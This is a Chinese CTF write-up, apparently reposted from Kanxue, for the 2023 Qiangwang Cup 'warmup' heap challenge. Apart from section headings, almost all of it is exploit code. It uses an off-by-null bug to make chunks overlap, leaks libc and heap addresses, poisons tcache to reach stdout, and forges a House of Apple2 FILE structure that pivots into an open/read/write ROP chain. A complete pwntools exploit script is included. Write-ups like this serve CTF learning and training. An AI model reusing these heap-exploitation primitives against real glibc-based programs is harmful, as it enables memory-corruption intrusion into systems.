一
前言
二
前置知识
2.1高版本的off by null利用
2.2house of apple2
三
warmup的脚本分析
3.1漏洞分析
3.2漏洞利用
3.2.1利用off by null实现chunk overlap
add(0x410) # 0
add(0xe0) # 1
add(0x430) # 2
add(0x430) # 3
add(0x100) # 4
add(0x480) # 5
add(0x420) # 6
add(0x10)#7
delete(0)
delete(3)
delete(6)
delete(2)
add(0x450, flat({0x438: p16(0x551)})) # 0
add(0x410) # 2
add(0x420) # 3
add(0x410) # 6
delete(6)
delete(2)
add(0x410) # 2
add(0x410) # 6
delete(6)
delete(3)
delete(5)
add(0x4f0, b"a"*0x488 + p64(0x431)) # 3
add(0x3b0) # 5
add(0x108, b"a"*0x100 + p64(0x550))#4
add(0x410)#6
delete(3)
add(0x10)#3
3.2.2 利用house of apple2来进行orw
show(6)
io.recv(6)
libc_base = u64(io.recv(6).ljust(8, b'x00')) - 0x219ce0
add(0x3f0)#8
add(0x60, b'a' * 0x18 + p64(0x91))#9
add(0x3f0)#10
delete(6)
show(8)
io.recv(6)
heap_addr = (u64(io.recv(5).ljust(8, b'x00')) << 12) + 0xc30
delete(4)
delete(10)
add(0x80, b'a' * 0x48 + p64(0x401) + p64(((heap_addr + 0x470) >> 12) ^ (stdout_addr))[:-1])
file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x470 - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_addr - 0xc30
file1.chain = leave_ret
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
flag_addr = heap_addr + 0x470 + 0x100
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscallret) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdxr12) + p64(0x50) + p64(0) + p64(read) + p64(pop_rdi) + p64(1) + p64(write)
payload = payload.ljust(0x100, b'x00')
payload += b'./flagx00'
add(0x3f0, payload)
add(0x3f0, bytes(file1))
3.2.3 完整的exp
from pwn import *
from pwncli import *
io = process("./warmup")
libc = ELF("./libc.so.6")
context.arch = 'amd64'
def add(size, content = b"deadbeef"):
io.recvuntil(b'>> ')
io.sendline(b'1')
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())
io.recvuntil(b'Note: ')
io.send(content)
def show(idx):
io.recvuntil(b'>> ')
io.sendline(b'2')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
def delete(idx):
io.recvuntil(b'>> ')
io.sendline(b'3')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
add(0x410) # 0
add(0xe0) # 1
add(0x430) # 2
add(0x430) # 3
add(0x100) # 4
add(0x480) # 5
add(0x420) # 6
add(0x10)#7
delete(0)
delete(3)
delete(6)
delete(2)
add(0x450, flat({0x438: p16(0x551)})) # 0
add(0x410) # 2
add(0x420) # 3
add(0x410) # 6
delete(6)
delete(2)
add(0x410) # 2
add(0x410) # 6
delete(6)
delete(3)
delete(5)
add(0x4f0, b"a"*0x488 + p64(0x431)) # 3
add(0x3b0) # 5
delete(4)
add(0x108, b"a"*0x100 + p64(0x550))#4
add(0x410)#6
delete(3)
add(0x10)#3
show(6)
io.recv(6)
libc_base = u64(io.recv(6).ljust(8, b'x00')) - 0x219ce0
add(0x3f0)#8
add(0x60, b'a' * 0x18 + p64(0x91))#9
add(0x3f0)#10
delete(6)
show(8)
io.recv(6)
heap_addr = (u64(io.recv(5).ljust(8, b'x00')) << 12) + 0xc30
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f0f7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscallnret')))
stdout_addr = libc.sym['_IO_2_1_stdout_'] + libc_base
delete(4)
delete(10)
add(0x80, b'a' * 0x48 + p64(0x401) + p64(((heap_addr + 0x470) >> 12) ^ (stdout_addr))[:-1])
file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x470 - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_addr - 0xc30
file1.chain = leave_ret
file1._codecvt = stdout_addr
file1._wide_data = stdout_addr - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
flag_addr = heap_addr + 0x470 + 0x100
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscallret) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdxr12) + p64(0x50) + p64(0) + p64(read) + p64(pop_rdi) + p64(1) + p64(write)
payload = payload.ljust(0x100, b'x00')
payload += b'./flagx00'
add(0x3f0, payload)
add(0x3f0, bytes(file1))
io.interactive()
四
攻击流程复现
五
总结
看雪ID:a2ure
https://bbs.kanxue.com/user-home-991890.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多
原文始发于微信公众号(看雪学苑):2023强网杯warmup题解